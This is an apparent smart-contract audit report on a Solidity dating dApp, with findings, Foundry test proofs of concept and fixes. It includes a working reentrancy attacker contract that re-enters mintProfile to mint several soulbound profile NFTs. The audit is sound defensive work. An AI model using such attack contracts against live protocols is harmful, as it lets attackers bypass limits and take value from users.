2025-02-datingDapp Audit Report

Version 1.0

Vincent71399

Feb 10, 2025

2025-02-datingDapp Audit Report

Vincent71399

Feb 10, 2025

2025-02-datingDapp Audit Report

Auditor:

- Vincent71399

Protocol Summary

Platform:

- CodeHawks

Disclaimer

I, Vincent71399, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Findings

High

[H-1] Reentrancy attack vulnerable in `mintProfile:SoulboundProfileNFT.sol`

Description: An attacker can use a contract that makes another `mintProfile` call within the `onERC721Received` callback, allowing them to bypass the restriction that limits each address to minting only one profile NFT. This results in the same address minting multiple profile NFTs.

```
1       function mintProfile(string memory name, uint8 age, string memory
            profileImage) external {
2           require(profileToToken[msg.sender] == 0, "Profile already
                exists");
3
4           uint256 tokenId = ++_nextTokenId;
5   @>      _safeMint(msg.sender, tokenId);
6
7           // Store metadata on-chain
8           _profiles[tokenId] = Profile(name, age, profileImage);
9           profileToToken[msg.sender] = tokenId;
10
11          emit ProfileMinted(msg.sender, tokenId, name, age, profileImage
                );
12      }
```

Impact: the attacker contract can hold multiple profile NFTs

Proof of Concept: create an attacker contract as follows

```
1       // SPDX-License-Identifier: UNLICENSED
2       pragma solidity ^0.8.19;
3
4       import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
5       import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721
            /IERC721Receiver.sol";
```

```
6       import {SoulboundProfileNFT} from "src/SoulboundProfileNFT.sol";
7
8       contract ScamUser is IERC721Receiver, Ownable {
9           SoulboundProfileNFT internal profileNFT;
10          bool private reentrancyAttack = false;
11
12          constructor(address profileNFTAddress) Ownable(msg.sender) {
13              profileNFT = SoulboundProfileNFT(profileNFTAddress);
14          }
15
16          function attack(string memory name, uint8 age, string memory
                profileImage) external onlyOwner {
17              reentrancyAttack = true;
18              profileNFT.mintProfile(name, age, profileImage);
19          }
20
21          function onERC721Received(
22              address /* operator */,
23              address /* from */,
24              uint256 /*  tokenId */,
25              bytes calldata /* data */
26          ) external override returns (bytes4) {
27              // Return this value to confirm the receipt of the NFT
28              if (reentrancyAttack){
29                  reentrancyAttack = false;
30                  profileNFT.mintProfile("ScamUser", 99, "ipfs://
                        scamUserImage");
31              }
32              return this.onERC721Received.selector;
33          }
34      }
```

then add the following to `testSoulboundProfileNFT.t.sol`

```
1       import {ScamUser} from "./mock/ScamUser.sol"; // replace with your
            custom path
2       ...
3       address attacker = makeAddr("attacker");
4       ...
5       function testMintMultipleProfiles() public {
6           vm.startPrank(attacker);
7           ScamUser scamUser = new ScamUser(address(soulboundNFT));
8           assertEq(soulboundNFT.balanceOf(address(scamUser)), 0); // no
                profile before attack
9           scamUser.attack("attacker", 25, "ipfs://scamUserImage1");
10          assertEq(soulboundNFT.balanceOf(address(scamUser)), 2); // 2
                profiles minted
11          vm.stopPrank();
12      }
```

Recommended Mitigation: Adhere to the CEI (Checks-Effects-Interactions) pattern by performing

interactions only after applying state changes.

```
    function mintProfile(string memory name, uint8 age, string memory
        profileImage) external {
        require(profileToToken[msg.sender] == 0, "Profile already
            exists");

        uint256 tokenId = ++_nextTokenId;
-       _safeMint(msg.sender, tokenId);
        // Store metadata on-chain
        _profiles[tokenId] = Profile(name, age, profileImage);
        profileToToken[msg.sender] = tokenId;

+       _safeMint(msg.sender, tokenId);

        emit ProfileMinted(msg.sender, tokenId, name, age, profileImage
            );
    }
```

[H-2] msg.value is not added to userBalances in `likeUser:LikeRegistry`, userBalances is fixed at zero

Description: When a user likes another user, the Ether sent is not credited to `userBalances`. This leads to a series of issues: when two users successfully match, the Ether contributed by both does not get transferred to their multi-signature wallet, and the owner is unable to withdraw the funds, since the `totalFees` is based on 10% charge from matching fee.

Impact: the matching logic is broken, no eth is transferred to the multi-signature wallet. no eth is added to `totalFees`

Proof of Concept: create a test file `LikeRegistryTest.t.sol` with the following code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test, console, Vm} from 'forge-std/Test.sol';
import {LikeRegistry} from "src/LikeRegistry.sol";
import {SoulboundProfileNFT} from "src/SoulboundProfileNFT.sol";
import {MultiSigWallet} from "src/MultiSig.sol";

contract LikeRegistryTest is Test {
    SoulboundProfileNFT soulboundNFT;
    LikeRegistry likeRegistry;

    address ownerOfNFT = makeAddr("ownerOfNFT");
    address ownerOfLike = makeAddr("ownerOfLike");
    address bob = makeAddr("bob");
    address alice = makeAddr("alice");
```

```
17      address roxas = makeAddr("roxas");
18
19      uint256 constant INITIAL_BALANCE = 100 ether;
20
21      function setUp() public {
22          vm.prank(ownerOfNFT);
23          soulboundNFT = new SoulboundProfileNFT();
24
25          vm.prank(ownerOfLike);
26          likeRegistry = new LikeRegistry(address(soulboundNFT));
27
28          vm.prank(bob);
29          soulboundNFT.mintProfile("Bob", 25, "ipfs://bobPhoto");
30
31          vm.prank(alice);
32          soulboundNFT.mintProfile("Alice", 23, "ipfs://alicePhoto");
33
34          vm.deal(bob, INITIAL_BALANCE);
35          vm.deal(alice, INITIAL_BALANCE);
36          vm.deal(roxas, INITIAL_BALANCE);
37      }
38      ...
39      function testUserBalanceIsNotUpdated() public {
40          uint256 bobBalanceBefore = likeRegistry.userBalances(bob);
41          vm.prank(bob);
42          likeRegistry.likeUser{value: 2 ether}(alice);
43          uint256 bobBalanceAfter = likeRegistry.userBalances(bob);
44          assertEq(bobBalanceBefore, bobBalanceAfter); // balance is not
                updated
45      }
46  }
```

then run the test, the assertion indicates that the balance is not updated

Recommended Mitigation: add update logic into the `likeUser` function

```
1       function likeUser(address liked) external payable{
2           // @audit-high msg.value is not added to userBalances
3           require(msg.value >= 1 ether, "Must send at least 1 ETH");
4           require(!likes[msg.sender][liked], "Already liked");
5           require(msg.sender != liked, "Cannot like yourself");
6           require(profileNFT.profileToToken(msg.sender) != 0, "Must have
                a profile NFT");
7           require(profileNFT.profileToToken(liked) != 0, "Liked user must
                 have a profile NFT");
8
9           // added to fix the issue
10  +       userBalances[msg.sender] += msg.value;
11
12          likes[msg.sender][liked] = true;
13          emit Liked(msg.sender, liked);
```

```
14
15          // Check if mutual like
16          if (likes[liked][msg.sender]) {
17              matches[msg.sender].push(liked);
18              matches[liked].push(msg.sender);
19              emit Matched(msg.sender, liked);
20              matchRewards(liked, msg.sender);
21          }
22      }
```

[H-3] The `userBalances` for different likes are stored in the same variable, causing the first match to drain the entire balance. This results in Ether being misallocated to the wrong multi-signature wallet.

Description: The protocol logic is when two users like each other, the ether they put for liking each other should be combined and sent to the multi-signature wallet. However, the `userBalances` for different likes are stored in the same variable, causing the first match to drain the entire balance. This results in Ether being misallocated to the wrong multi-signature wallet.

Impact: The protocol logic is broken, and the ether is misallocated to the wrong multi-signature wallet.

Proof of Concept: first need to fix another critical issue msg.value is not added to userBalances in `likeUser:LikeRegistry`

```
1       function likeUser(address liked) external payable{
2           // @audit-high msg.value is not added to userBalances
3           require(msg.value >= 1 ether, "Must send at least 1 ETH");
4           require(!likes[msg.sender][liked], "Already liked");
5           require(msg.sender != liked, "Cannot like yourself");
6           require(profileNFT.profileToToken(msg.sender) != 0, "Must have
                a profile NFT");
7           require(profileNFT.profileToToken(liked) != 0, "Liked user must
                have a profile NFT");
8
9           // added to fix the issue
10  +       userBalances[msg.sender] += msg.value;
11
12          likes[msg.sender][liked] = true;
13          emit Liked(msg.sender, liked);
```

create a test file `LikeRegistryTest.t.sol` with the following code

```
1   contract LikeRegistryTest is Test {
2       SoulboundProfileNFT soulboundNFT;
3       LikeRegistry likeRegistry;
4       LikeRegistryEdit likeRegistryEdit;
```

```
5
6       address ownerOfNFT = makeAddr("ownerOfNFT");
7       address ownerOfLike = makeAddr("ownerOfLike");
8       address bob = makeAddr("bob");
9       address alice = makeAddr("alice");
10      address miriam = makeAddr("miriam");
11      address roxas = makeAddr("roxas");
12
13      uint256 constant INITIAL_BALANCE = 100 ether;
14
15      function setUp() public {
16          vm.prank(ownerOfNFT);
17          soulboundNFT = new SoulboundProfileNFT();
18
19          vm.prank(ownerOfLike);
20          likeRegistry = new LikeRegistry(address(soulboundNFT));
21
22          vm.prank(bob);
23          soulboundNFT.mintProfile("Bob", 25, "ipfs://bobPhoto");
24
25          vm.prank(alice);
26          soulboundNFT.mintProfile("Alice", 23, "ipfs://alicePhoto");
27
28          vm.prank(miriam);
29          soulboundNFT.mintProfile("Miriam", 16, "ipfs://miriamPhoto");
30
31          vm.deal(bob, INITIAL_BALANCE);
32          vm.deal(alice, INITIAL_BALANCE);
33          vm.deal(miriam, INITIAL_BALANCE);
34          vm.deal(roxas, INITIAL_BALANCE);
35
36          vm.prank(ownerOfLike);
37          likeRegistryEdit = new LikeRegistryEdit(address(soulboundNFT));
38      }
39      ...
40      function testUserBalanceIsMisplaced() public {
41          vm.startPrank(bob);
42          likeRegistryEdit.likeUser{value: 1 ether}(alice);
43          likeRegistryEdit.likeUser{value: 2 ether}(miriam);
44          vm.stopPrank();
45
46          vm.recordLogs();
47          vm.prank(alice);
48          likeRegistryEdit.likeUser{value: 1 ether}(bob);
49
50          vm.prank(miriam);
51          likeRegistryEdit.likeUser{value: 1 ether}(bob);
52
53          Vm.Log[] memory logs = vm.getRecordedLogs();
54          assertEq(logs.length, 6); // 1st log is Liked, 2nd log is
                Matched, 3rd log is MatchRewards
```

```
55
56          address bobAliceWalletAddress = address(uint160(uint256(bytes32
                (logs[2].data))));
57          address bobMiriamWalletAddress = address(uint160(uint256(
                bytes32(logs[5].data))));
58
59          assertEq(bobAliceWalletAddress.balance, (1 ether + 2 ether + 1
                ether) * 9 / 10); // the value bob like miriam is misplaced
                to alice wallet
60          assertEq(bobMiriamWalletAddress.balance, 1 ether * 9 / 10);
61      }
```

run the test and the assertion indicates that the value bob likes miriam is misplaced to alice wallet

Recommended Mitigation: change the `userBalances` from `mapping(address => uint256)` to `mapping(address => mapping(address => uint256))` so it it indexed by the user and the liked user then change the following code

```
1  function likeUser(address liked) external payable{
2      // @audit-high msg.value is not added to userBalances
3      require(msg.value >= 1 ether, "Must send at least 1 ETH");
4      require(!likes[msg.sender][liked], "Already liked");
5      require(msg.sender != liked, "Cannot like yourself");
6      require(profileNFT.profileToToken(msg.sender) != 0, "Must have a
           profile NFT");
7      require(profileNFT.profileToToken(liked) != 0, "Liked user must
           have a profile NFT");
8
9      // added to fix the issue
10 +   userBalances[msg.sender][liked] += msg.value;
11
12     likes[msg.sender][liked] = true;
13     emit Liked(msg.sender, liked);
```

```
1  function matchRewards(address from, address to) internal {
2  -   uint256 matchUserOne = userBalances[from];
3  -   uint256 matchUserTwo = userBalances[to];
4  -   userBalances[from] = 0;
5  -   userBalances[to] = 0;
6
7  +   uint256 matchUserOne = userBalances[from][to];
8  +   uint256 matchUserTwo = userBalances[to][from];
9  +   userBalances[from][to] = 0;
10 +   userBalances[to][from] = 0;
```

Medium

[M-1] no way to cancel the like, if matching is never achieved, the user will lose the funds

Description: Users should be able to cancel their like if a match is unlikely to occur, providing them with a way to reclaim their Ether.

Impact: user will lose the funds if the matching is never achieved.

Recommended Mitigation: add a cancel function in `LikeRegistry.sol`

```
    function cancelLike(address liked) external {
        require(likes[msg.sender][liked], "Not liked");
        require(!likes[liked][msg.sender], "Matched, cannot cancel like
            ");

        uint256 amount = userBalances[msg.sender][liked];
        userBalances[msg.sender][liked] = 0;
        likes[msg.sender][liked] = false;

        (bool success,) = payable(msg.sender).call{value: amount}("");
        require(success, "Transfer failed");
    }
```

Low

[L-1] Blocked User in `blockProfile:SoulboundProfileNFT.sol` can re-mint another profile NFT

Description: the `blockProfile` function is intended to prevent blocked users from using profile NFTs. However, it only removes their current profile, allowing blocked users to mint a new profile NFT without restriction.

Impact: user/address will not actually be blocked.

Proof of Concept: add the following to `testSoulboundProfileNFT.t.sol`

```
    function testBlockedUserCanReMint() public {
        vm.prank(user);
        soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
        assertEq(soulboundNFT.balanceOf(user), 1);

        vm.prank(owner);
        soulboundNFT.blockProfile(user);
        assertEq(soulboundNFT.balanceOf(user), 0);

        vm.prank(user);
```

```
11          soulboundNFT.mintProfile("Bob", 30, "ipfs://profileImage");
12          assertEq(soulboundNFT.balanceOf(user), 1); // user can mint
                after being blocked
13      }
```

Recommended Mitigation: can use a mapping to store all blocked users.

[L-2] There is no method to view the generated wallet address; an event should at least be emitted.

Description: The `matchRewards` function generates a wallet address for the matched users, but there is no way to check the generated wallet address.

Impact: the user is hard to access the wallet.

Recommended Mitigation: add a emit event with the address

```
+   event MatchRewards(address indexed user1, address indexed user2,
    address wallet);
...
    function matchRewards(address from, address to) internal {
        uint256 matchUserOne = userBalances[from][to];
        uint256 matchUserTwo = userBalances[to][from];
        userBalances[from][to] = 0;
        userBalances[to][from] = 0;

        uint256 totalRewards = matchUserOne + matchUserTwo;
        uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
        uint256 rewards = totalRewards - matchingFees;
        totalFees += matchingFees;

        // Deploy a MultiSig contract for the matched users
        MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
+       emit MatchRewards(from, to, address(multiSigWallet));
```